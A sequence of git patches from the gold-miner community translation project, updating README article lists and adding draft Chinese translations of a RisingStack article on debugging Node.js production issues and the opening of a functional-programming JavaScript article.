 * [模块化 vs. 微服务](https://juejin.im/post/58eb2627da2f60005f0b2d60/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [在 Apache 和 Nginx 日志里检测爬虫机器人](https://juejin.im/post/58ea5758ac502e4957c78808/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([luoyaqifei](https://github.com/luoyaqifei) 翻译)
 * [如何在 ChromeOS 下用 Go 搭建 Web 服务](https://juejin.im/post/58d9e1711b69e6006bc38b1a/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen) 翻译)

From 8f59796e6619df6f9e7fe6e9efa89abd4b7af7ec Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Sun, 16 Apr 2017 00:43:20 +0800
Subject: [PATCH 177/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20React=20=E7=9A=84?=
 =?UTF-8?q?=E6=85=A2=E4=B8=8E=E5=BF=AB=EF=BC=9A=E4=BC=98=E5=8C=96=20React?=
 =?UTF-8?q?=20=E5=BA=94=E7=94=A8=E5=AE=9E=E6=88=98=20=E7=9A=84=E7=A7=AF?=
 =?UTF-8?q?=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md    | 5 ++---
 front-end.md | 1 +
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/README.md b/README.md
index 75bf0443979..7f9940647cd 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [461](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [462](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -37,10 +37,10 @@
 
 ## 前端
 
+* [React 的慢与快：优化 React 应用实战](https://juejin.im/entry/58eb2fb0570c350057dd921a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([AceLeeWinnie(Jiang Haichao)](https://github.com/AceLeeWinnie) 翻译)
 * [使用开发者工具在浏览器中调整设计](https://juejin.im/post/58f0729b570c35005625630a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [超越浏览器：从 web 应用到桌面应用](https://juejin.im/entry/58f07ea5ac502e006c1e0301?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [同中有异的 Webpack 与 Rollup](https://juejin.im/post/58edb865570c350057f199a7?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
-* [webpack 拾翠：充分利用 CommonsChunkPlugin()](https://juejin.im/post/58ec4e3f5c497d0062c470bf?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 
@@ -59,7 +59,6 @@
 * [模块化 vs. 微服务](https://juejin.im/post/58eb2627da2f60005f0b2d60/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [在 Apache 和 Nginx 日志里检测爬虫机器人](https://juejin.im/post/58ea5758ac502e4957c78808/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([luoyaqifei](https://github.com/luoyaqifei) 翻译)
 * [如何在 ChromeOS 下用 Go 搭建 Web 服务](https://juejin.im/post/58d9e1711b69e6006bc38b1a/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen) 翻译)
-* [在你沉迷于包的海洋之前，还是了解一下运行时 Node.js 的本身](https://juejin.im/post/58cf4a3144d90400690b7be7/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([fghpdf](https://github.com/fghpdf) 翻译)
 * [所有后端译文>>](https://github.com/xitu/gold-miner/blob/master/backend.md)
 
 ## 教程
diff --git a/front-end.md b/front-end.md
index 23a71497d24..d5f10d2cf3a 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [React 的慢与快：优化 React 应用实战](https://juejin.im/entry/58eb2fb0570c350057dd921a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([AceLeeWinnie(Jiang Haichao)](https://github.com/AceLeeWinnie) 翻译)
 * [使用开发者工具在浏览器中调整设计](https://juejin.im/post/58f0729b570c35005625630a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [超越浏览器：从 web 应用到桌面应用](https://juejin.im/entry/58f07ea5ac502e006c1e0301?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [同中有异的 Webpack 与 Rollup](https://juejin.im/post/58edb865570c350057f199a7?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)

From a649834baffb7e9c07de07b029e7a0469db3ad38 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Sun, 16 Apr 2017 00:49:26 +0800
Subject: [PATCH 178/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E8=B7=8C=E5=AE=95?=
 =?UTF-8?q?=E8=B5=B7=E4=BC=8F=E7=9A=84=E5=87=BD=E6=95=B0=E5=BC=8F=E7=BC=96?=
 =?UTF-8?q?=E7=A8=8B=EF=BC=88=E8=BD=AF=E4=BB=B6=E7=BC=96=E5=86=99=EF=BC=89?=
 =?UTF-8?q?=EF=BC=88=E7=AC=AC=E4=B8=80=E9=83=A8=E5=88=86=EF=BC=89=20?=
 =?UTF-8?q?=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md    | 4 ++--
 front-end.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 7f9940647cd..e2285d108c8 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [462](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [463](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -37,10 +37,10 @@
 
 ## 前端
 
+* [跌宕起伏的函数式编程（软件编写）（第一部分）](https://juejin.im/post/58f0eb570ce463006ba37089?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [React 的慢与快：优化 React 应用实战](https://juejin.im/entry/58eb2fb0570c350057dd921a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([AceLeeWinnie(Jiang Haichao)](https://github.com/AceLeeWinnie) 翻译)
 * [使用开发者工具在浏览器中调整设计](https://juejin.im/post/58f0729b570c35005625630a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [超越浏览器：从 web 应用到桌面应用](https://juejin.im/entry/58f07ea5ac502e006c1e0301?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
-* [同中有异的 Webpack 与 Rollup](https://juejin.im/post/58edb865570c350057f199a7?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 
diff --git a/front-end.md b/front-end.md
index d5f10d2cf3a..4804e3add84 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [跌宕起伏的函数式编程（软件编写）（第一部分）](https://juejin.im/post/58f0eb570ce463006ba37089?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [React 的慢与快：优化 React 应用实战](https://juejin.im/entry/58eb2fb0570c350057dd921a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([AceLeeWinnie(Jiang Haichao)](https://github.com/AceLeeWinnie) 翻译)
 * [使用开发者工具在浏览器中调整设计](https://juejin.im/post/58f0729b570c35005625630a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [超越浏览器：从 web 应用到桌面应用](https://juejin.im/entry/58f07ea5ac502e006c1e0301?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)

From df3621c0d49b912966ac6e6c575d2b78768f9293 Mon Sep 17 00:00:00 2001
From: mnikn <329121948@qq.com>
Date: Sun, 16 Apr 2017 23:24:31 +0800
Subject: [PATCH 179/638] first translate

---
 ...ar-stories-solving-issues-in-production.md | 159 +++++++++---------
 1 file changed, 79 insertions(+), 80 deletions(-)

diff --git a/TODO/node-js-war-stories-solving-issues-in-production.md b/TODO/node-js-war-stories-solving-issues-in-production.md
index aefb8885cbd..758a9c3309b 100644
--- a/TODO/node-js-war-stories-solving-issues-in-production.md
+++ b/TODO/node-js-war-stories-solving-issues-in-production.md
@@ -1,125 +1,124 @@
 > * 原文地址：[Node.js War Stories: Debugging Issues in Production](https://blog.risingstack.com/node-js-war-stories-solving-issues-in-production-2/)
 > * 原文作者：[Gergely Nemeth](https://blog.risingstack.com/author/gergely/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[mnikn](https://github.com/mnikn)
 > * 校对者：
 
-# Node.js War Stories: Debugging Issues in Production #
+# Node.js 之战: 在开发时调试错误 #
 
-In this article, you can **read stories from Netflix, RisingStack & nearForm about Node.js issues in production** - so you can learn from our mistakes and avoid repeating them. You'll also learn what methods we used to debug these Node.js issues.
+在这篇文章,**你会了解到 Netflix,RisingStack 和 nearForm 在上线时遇到 Node.js 错误的故事** - 因此你可以此为鉴，避免犯上同样的错误。同时你将会学到如何调试 Node.js 的错误。
 
-*Special shoutout to Yunong Xiao of Netflix, Matteo Collina of nearForm & Shubhra Kar from Strongloop for helping us with their insights for this post!*
+*来自 Netflix 的 Yunong Xiao，来自 Strongloop 的 NearForm 和来自 Shubhra Kar 的 Matteo Collina亲自讲述的故事，让我们阅读这篇文章，从他们的见解中学习！*
 
+在 RisingStack,过去4年里我们从开发的 Node 应用中积累了许多经验 -  感谢 [Node.js 咨询, 学习和开发](https://risingstack.com/) 的开发工作。
 
-At RisingStack, we have accumulated a tremendous experience of running Node apps in production in the past 4 years - thanks to our [Node.js consulting, training and development](https://risingstack.com/) business.
+Netflix 和 nearForm 的 Node 开发团队都一样，我们都有把调试过程记录下来的习惯,因此整个开发团队 (现在是整个世界的开发团队) 都可以从我们的错误中学习。 
 
-As well as the Node teams at Netflix & nearForm we picked up the habit of always writing thorough postmortems, so the whole team (and now the whole world) could learn from the mistakes we made. 
+## Netflix 与 Node 调试: 了解你的依赖库 ##
 
-## Netflix & Debugging Node: Know your Dependencies ##
+**让我们慢慢阅读我们的朋友 Yunong Xiao 在 Netflix 发生的故事。**
 
-**Let's start with a slowdown story from Yunong Xiao, which happened with our friends at Netflix.**
+问题发生在当 Netflix 的开发团队发现他们的应用的响应时间在逐渐变长 - 他们部分终端的传输时间每小时加长10ms。 
 
-The trouble started with the Netflix team noticing that their applications response time increased progressively - some of their endpoints' latency increased with 10ms every hour. 
-
-This was also reflected in the growing CPU usage.
+这同时反映在上升的 CPU 使用率当中。
 
 ![Netflix debugging Nodejs in production with the Request latency graph](https://blog-assets.risingstack.com/2017/04/Netflix-debugging-Nodejs-in-production---Request-latency-graph.png)
 
-*Request latencies for each region over time - photo credit: Netflix*
+*不同时间段请求的传输时间 - 图片来源: Netflix*
 
-At first, they started to investigate whether the request handler is responsible for slowing things down. 
+一开始，他们调查是否是 request handler 造成其响应时间变慢。 
 
-**After testing it in isolation, it turned out that the request handler had a constant response time around 1ms.**
+**在隔离测试后,他们发现 request handler 的响应时间稳定在1ms左右。**
 
-So the problem was not that, and they started to suspect that probably it's deeper in the stack.
+所以问题并不是这个, 他们开始怀疑到底层，是不是栈出现了问题。
 
-The next thing Yunong & the Netflix team tried are [CPU flame graphs](http://www.brendangregg.com/FlameGraphs/cpuflamegraphs.html) and Linux [Perf Events](https://perf.wiki.kernel.org/index.php/Main_Page).
+接下来 Yunong 和 Netflix 开发团队的尝试是这个 [CPU 火舌图](http://www.brendangregg.com/FlameGraphs/cpuflamegraphs.html) 和 Linux [性能事件](https://perf.wiki.kernel.org/index.php/Main_Page).
 
 ![Flame graph of Netflix Nodejs slowdown](https://blog-assets.risingstack.com/2017/04/Flame-graph-of-Netflix-Nodejs-slowdown.png)
 
-*Flame graph or the Netflix slowdown - photo credit: Netflix*
+*火舌图，或许是 Netflix 速度变慢的原因 - 图片来源: Netflix*
 
-**What you can see in the flame graph above is that**
+**你可以从火舌图中看到的东西是**
 
-- it has high stacks *(which means lot of function calls)*
-- and the boxes are wide *(meaning we are spending quite some time in those functions)*.
+- 它有一些挺高的栈 *(这代表有许多函数被调用)*
+- 并且一些矩形很宽 *(代表我们在这些函数中耗费了一些时间)*.
 
-After further inspection, the team found that Express's `router.handle` and `router.handle.next` has lots of references.
+经过深入调查，开发团队发现Express的 `router.handle` 和 `router.handle.next` 有许多引用。
 
-> The Express.js source code reveals a couple of interesting tidbits:
+> Express.js 的源代码揭示了一系列有趣的事情：
 > 
-> - Route handlers for all endpoints are stored in one global array.
-> - Express.js recursively iterates through and invokes all handlers until it finds the right route handler.
+> - 所有终端的Route handlers 都储存在一个全局数组中。
+> - Express.js 递归地遍历并唤醒所有 handlers 直到它找到合适的 route handler。
 
-**Before revealing the solution of this mystery, we have to get one more detail:**
+**在揭示谜题的解决方案前，我们需要知道更多的细节：**
 
-Netflix's codebase contained a periodical code that ran every 6 minutes and grabbed new route configs from an external resource and updated the application's route handlers to reflect the changes. 
+Netflix 的基层代码包含了每6分钟运行的定时代码，从拓展资源中抓取新的路由配置信息，更新应用的 route handlers 从而响应改变的信息。
 
-This was done by deleting old handlers and adding new ones. Accidentally, it also added the same static handler all over again - even before the API route handlers. **As it turned out, this caused the extra 10ms response time hourly.**
+这些是通过删除并添加新的 handlers 来实现的。意外的是，同时它再一次添加了相同的静态 handler - 甚至是以前的 API route handlers。**这造成的结果是，响应时间额外增加了10ms。**
 
-### Takeaways from Netflix's Issue ###
+### 从 Netflix 的错误中获取的教训 ###
 
-- **Always know your dependencies** - first, you have to fully understand them before going into production with them.
-- **Observability is key** - flame graphs helped the Netflix engineering team to get to the bottom of the issue.
+- **一定要了解你的依赖库** - 首先，你必须在使用它们进行开发之前，彻底地了解它们。
+- **可观察性是关键** - 火舌图帮助 Netflix 工程团队解决了问题。
 
-> Read the full story here: [Node.js in Flames](http://techblog.netflix.com/2014/11/nodejs-in-flames.html).
+> 从这里阅读整个故事: [战火中的 Node.js](http://techblog.netflix.com/2014/11/nodejs-in-flames.html)。
 
-#### Expert help when you need it the most ####
+#### 当你最需要帮助时候的专家指引####
 
-##### Commercial Node.js Support by RisingStack #####
-[Learn more ](https://risingstack.com/nodejs-support?utm_source=rsblog&amp;utm_medium=roadblock-new&amp;utm_campaign=trace&amp;utm_content=/node-js-war-stories-solving-issues-in-production-2/) 
+##### 商业化 Node.js，由 RisingStack 提供#####
+[了解更多](https://risingstack.com/nodejs-support?utm_source=rsblog&amp;utm_medium=roadblock-new&amp;utm_campaign=trace&amp;utm_content=/node-js-war-stories-solving-issues-in-production-2/) 
 
-## RisingStack CTO: "Crypto takes time" ##
+## RisingStack CTO: "隐藏信息是要花时间的" ##
 
-You may have already heard to story of how we [broke down the monolithic](https://www.youtube.com/watch?v=k9QZ4oIOHnk) infrastructure of [Trace *(our Node.js monitoring solution)*](https://trace.risingstack.com) into microservices from our CTO, Peter Marton.
+你可能已经听过我们的故事 [分离整体](https://www.youtube.com/watch?v=k9QZ4oIOHnk)，我们的 CTO Peter Marton 把 [Trace *(我们的 Node.js 监控系统)*](https://trace.risingstack.com) 分离成多个微服务模块。
 
-**The issue we'll talk about now is a slowdown which affected Trace in production:**
+**我们现在讨论的错误是 Trace 开发时的响应速度变慢：**
 
-As the very first versions of Trace ran on a PaaS, it used the public cloud to communicate with other services of ours. 
+作为一个在 PaaS 运行的 早期 Trace 版本，它通过公共云来与我们的其他服务连接。
 
-To ensure the integrity of our requests, we decided to sign all of them. To do so, we went with Joyent's [HTTP signing library](https://github.com/joyent/node-http-signature). What's really great about it, is that the [request](https://www.npmjs.com/package/request) module supports HTTP signature out of the box.
+为了确保我们的请求是完整的，我们决定对所有请求进行签名。为了实现这个，我们看了 Joyent 的 [HTTP signing library](https://github.com/joyent/node-http-signature)。很棒的是，[request](https://www.npmjs.com/package/request) 这一模块支持框架外的Http签名。
 
-**This solution was not only expensive, but it also had a bad impact on our response times.**
+**解决方案代价不仅很大，而且会对我们的响应速度造成不好的影响。**
 
 ![network delay in nodejs request visualized by trace](https://blog-assets.risingstack.com/2017/04/network-delay-in-nodejs-request-visualized-by-trace.png)
 
-*The network delay built up our response times - photo: Trace*
+*我们响应速度的网络延迟 - 图片来源: Trace*
 
-As you can see on the graph above, the given endpoint had a response time of 180ms, however from that amount, **100ms was just the network delay between the two services alone**.
+从图中可看到，所给定的终端响应速度为180ms，然而对于总体来说，**单独两个服务的网络延迟只是100ms **。
 
-As the first step, we [migrated from the PaaS provider to use Kubernetes](/moving-node-js-from-paas-to-kubernetes-tutorial/). We expected that our response times would be a lot better, as we can leverage internal networking. 
+一开始，我们 [用 Kubernetes 转移 PaaS provider](/moving-node-js-from-paas-to-kubernetes-tutorial/)。我们希望响应速度会快一点，这样内部网络就会平衡。
 
-> We were right - our latency improved.
+> 我们的方法奏效了 - 终端的响应速度提高了。
 
-However, we expected better results - and a lot bigger drop in our CPU usage. The next step was to do CPU profiling, just like the guys at Netflix:
+然而，我们想要更好的结果 - 大幅度降低 CPU 的使用率。下一步是分析 CPU 的使用情况，就像 Netflix 的人们做的一样:
 
 ![crypto sign function taking up cpu time](https://blog-assets.risingstack.com/2017/04/crypto-sign-function-taking-up-cpu-time.png)
 
-As you can see on the screenshot, the `crypto.sign` function takes up most of the CPU time, by consuming 10ms on each request. To solve this, you have two options:
+从截图可以看出，`crypto.sign` 函数消耗的 CPU 时间最多,每次请求花费10ms。为了解决这个问题，你有两种选择：
 
-- if you are running in a trusted environment, you can drop request signing,
-- if you are in an untrusted environment, you can scale up your machines to have stronger CPUs.
+- 如果你在可信任的环境中运行应用，你可以去除请求签名，
+- 如果你在不可信的环境中运行，你可以升级你的机器让它拥有更强大的 CPU。
 
-### Takeaways from Peter Marton ###
+### 从 Peter Marton 中获取的教训  ###
 
-- **Latency in-between your services has a huge impact on user experience** - whenever you can, leverage internal networking.
-- **Crypto can take a LOT of time**.
+- **服务之间的终端信息传输会对用户体验有巨大的影响** - 尽可能的平衡内部网络。
+- **隐藏信息可能会消耗大量时间**。
 
-## nearForm: Don't block the Node.js Event Loop ##
+## nearForm: 不要堵塞 Node.js 的事件循环 ##
 
-**React is more popular than ever.** Developers use it for both the frontend and the backend, or they even take a step further and use it to build isomorphic JavaScript applications.
+**React 现在很流行。**开发者在前端和后端都会使用它，甚至他们更进一步用它来构建同构的 JavaScript 应用。
 
-> However, rendering React pages can put some heavy load on the CPU, as rendering complex React components is CPU bound. 
+> 然而，渲染 React 页面会让 CPU 有挺大的负担，当绘制复杂的 React 内容时会受到 CPU 限制。
 
-When your Node.js process is rendering, it blocks the event loop because of its synchronous nature.
+当你的 Node.js 正在进行绘制，它会堵塞事件循环，因为它的行为都是基于同步的。
 
-As a result, **the server can become entirely unresponsive** - requests accumulate, which all puts load on the CPU. 
+结果就是，**服务器可能会毫无反应** - 当请求堆积起来，会把所有的负担都堆在 CPU 上。
 
-What can be even worse is that even those requests will be served which no longer have a client - still putting load on the Node.js application, as [Matteo Collina](https://github.com/mcollina) of nearForm explains.
+更糟的是即使请求的客服端已经消失，请求仍然会被处理 - 仍然会对 Node.js 应用造成负担，nearForm  对此有解释 [Matteo Collina](https://github.com/mcollina)。
 
-**It is not just React, but string operations in general.** If you are building JSON REST APIs, you should always pay attention to `JSON.parse` and `JSON.stringify`.
+**不仅是 React，大多数字符串操作也会这样。** 如果你在构建 JSON REST APIs，你应该花心思在 `JSON.parse` 和 `JSON.stringify`。
 
-As Shubhra Kar from Strongloop (now Joyent) explained, parsing and stringifying huge payloads can take a lot of time as well *(and blocking the event loop in the meantime)*.
+Strongloop(现在是 Joyent) 的 Shubhra Kar 对此解释是，解析和转化成 JSON 字符串的等消耗巨大的操作也会消耗大量时间 *(同时在这期间会堵塞事件循环)*。
 
 ```
 functionrequestHandler(req, res) {  
@@ -136,38 +135,38 @@ functionrequestHandler(req, res) {
 
 ```
 
-*Simple request handler*
+*简易的 request handler*
 
-The example above shows a simple request handler, which just parses the body. For small payloads, it works like a charm - however, **if the JSON's size can be measured in megabytes, the execution time can be seconds** instead of milliseconds. The same applies for `JSON.stringify`.
+这个例子展示了一个简易的 request handler，用来解析 body。对于内容不多的情况下，它运行的挺好 - 然而，**如果 JSON 的大小要以兆来描述的话，可能会花费数秒的时间来执行** 而不是在毫秒时间内执行。同理 `JSON.stringify` 也一样。
 
-To mitigate these issues, first, you have to know about them. For that, you can use Matteo's [loopbench](https://github.com/mcollina/loopbench) module, or [Trace](https://trace.risingstack.com)'s event loop metrics feature. 
+为了缓解这个问题，首先你要了解它们。为此，你可以用 Matteo 的 [loopbench](https://github.com/mcollina/loopbench) 模块，或者 [Trace](https://trace.risingstack.com) 的事件循环度量功能。
 
-With `loopbench`, you can return a status code of 503 to the load balancer, if the request cannot be fulfilled. To enable this feature, you have to use the `instance.overLimit` option. This way ELB or NGINX can retry it on a different backend, and the request may be served.
+通过 `loopbench`，如果请求没有被实现，你可以返回状态码503给负载平衡器。为了启用这项功能，你要使用选项 `instance.overLimit`。这样 ELB 或者 NGINX 可以在不同的后端中重试，这样请求有可能会被处理。
 
-Once you know about the issue and understand it, you can start working on fixing it - you can do it either by leveraging Node.js streams or by tweaking the architecture you are using.
+一旦你了解这个问题并理解它，你就能开始修正它 - 你可以通过平衡 Node.js 流或者改变正在使用的架构来进行修正。
 
-### Takeaways from nearForm ###
+### 从 nearForm 中获取的教训 ###
 
-- **Always pay attention to CPU bound operations** - the more you have, to more pressure you put on your event loop.
-- **String operations are CPU-heavy operations**
+- **总要留心对 CPU 负担大的操作** - 这类的操作越多，在你的事件循环里对 CPU 造成的压力越大。
+- **字符串操作会对 CPU 造成巨大负担**
 
-## Debugging Node.js Issues in Production ##
+## 在开发时调试 Node.js 错误 ##
 
-I hope these examples from Netflix, RisingStack & nearForm will help you to debug your Node.js apps in Production.
+我希望 Netflix，RisingStack 和 nearForm 的例子会对你开发时调试 Node.js 应用有帮助。
 
-If you'd like to learn more, I recommend checking out these recent posts which will help you to deepen your Node knowledge:
+如果你想要了解更多，我建议看下最近这些文章，它们会加深你的 Node 知识：
 
-- [Case Study: Finding a Node.js Memory Leak in Ghost](https://blog.risingstack.com/case-study-node-js-memory-leak-in-ghost/)
-- [Understanding the Node.js Event Loop](https://blog.risingstack.com/node-js-at-scale-understanding-node-js-event-loop/)
-- [Node.js Garbage Collection Explained](https://blog.risingstack.com/node-js-at-scale-node-js-garbage-collection/)
-- [Node.js Async Best Practices & Avoiding the Callback Hell](https://blog.risingstack.com/node-js-async-best-practices-avoiding-callback-hell-node-js-at-scale/)
-- [Event Sourcing with Examples in Node.js](https://blog.risingstack.com/event-sourcing-with-examples-node-js-at-scale/)
-- [Getting Node.js Testing and TDD Right](https://blog.risingstack.com/getting-node-js-testing-and-tdd-right-node-js-at-scale/)
-- [10 Best Practices for Writing Node.js REST APIs](https://blog.risingstack.com/10-best-practices-for-writing-node-js-rest-apis/)
-- [Node.js End-to-End Testing with Nightwatch.js](https://blog.risingstack.com/end-to-end-testing-with-nightwatch-js-node-js-at-scale/)
-- [The Definitive Guide for Monitoring Node.js Applications](https://blog.risingstack.com/monitoring-nodejs-applications-nodejs-at-scale/)
+- [案例学习：在 Ghost 中查找 Node.js 内存泄漏](https://blog.risingstack.com/case-study-node-js-memory-leak-in-ghost/)
+- [理解 Node.js 事件循环](https://blog.risingstack.com/node-js-at-scale-understanding-node-js-event-loop/)
+- [解释 Node.js 垃圾回收](https://blog.risingstack.com/node-js-at-scale-node-js-garbage-collection/)
+- [Node.js 异步最佳实践和如何避免回调地狱](https://blog.risingstack.com/node-js-async-best-practices-avoiding-callback-hell-node-js-at-scale/)
+- [Node.js 的事件溯源示范](https://blog.risingstack.com/event-sourcing-with-examples-node-js-at-scale/)
+- [正确地开始 Node.js 测试和 TDD](https://blog.risingstack.com/getting-node-js-testing-and-tdd-right-node-js-at-scale/)
+- [10个 Node.js REST APIs 最佳实践](https://blog.risingstack.com/10-best-practices-for-writing-node-js-rest-apis/)
+- [使用 Nightwatch.js 对 Node.js 进行端到端测试](https://blog.risingstack.com/end-to-end-testing-with-nightwatch-js-node-js-at-scale/)
+- [监测 Node.js 应用的最终指南](https://blog.risingstack.com/monitoring-nodejs-applications-nodejs-at-scale/)
 
-If you have any questions, please let us know in the comments!
+如有任何疑问，请留下评论让我们知道！
 
 ---
 

From 22eae43c4be0e7dc25f66deef99979a7ad0f73cc Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinly@gmail.com>
Date: Mon, 17 Apr 2017 01:57:36 +0800
Subject: [PATCH 180/638] =?UTF-8?q?=E5=88=9D=E7=A8=BF=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...uction-to-javascript-composing-software.md | 141 +++++++++---------
 1 file changed, 71 insertions(+), 70 deletions(-)

diff --git a/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md b/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md
index df1ca8810a3..af7eb6680c1 100644
--- a/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md
+++ b/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md
@@ -1,17 +1,17 @@
 > * 原文地址：[A Functional Programmer’s Introduction to JavaScript (Composing Software)(part 3)](https://medium.com/javascript-scene/a-functional-programmers-introduction-to-javascript-composing-software-d670d14ede30)
 > * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：[sun](http://suncafe.cc)
+> * 译者：[sunui](http://suncafe.cc)
 > * 校对者：
 
-# 函数式程序员的 JavaScript 简介 (软件构建系列) #
+# 函数式程序员的 JavaScript 简介 (软件编写) #
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg">
 
-烟雾艺术模仿 — MattysFlicks — (CC BY 2.0)
+烟雾艺术魔方 — MattysFlicks — (CC BY 2.0)
 
-> Note: This is part of the “Composing Software” series on learning functional programming and compositional software techniques in JavaScript ES6+ from the ground up. Stay tuned. There’s a lot more of this to come!
-> [< Previous](https://medium.com/javascript-scene/why-learn-functional-programming-in-javascript-composing-software-ea13afc7a257#.ia0aq3fmb)  | [<< Start over at Part 1](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe)  | [Next >](https://medium.com/javascript-scene/higher-order-functions-composing-software-5365cf2cbe99#.egoxjg6x7)
+> Tip：这是“软件编写”系列文章的第四部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术。后续还有更多精彩内容，敬请期待！
+> [< 上一篇](https://github.com/gy134340/gold-miner/blob/69bca85e75f4b99b33c193c21f577db93622ee8b/TODO/why-learn-functional-programming-in-javascript-composing-software.md)  | [<<第一篇](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md)  | [下一篇 >](https://github.com/xitu/gold-miner/blob/master/TODO/higher-order-functions-composing-software.md)
 
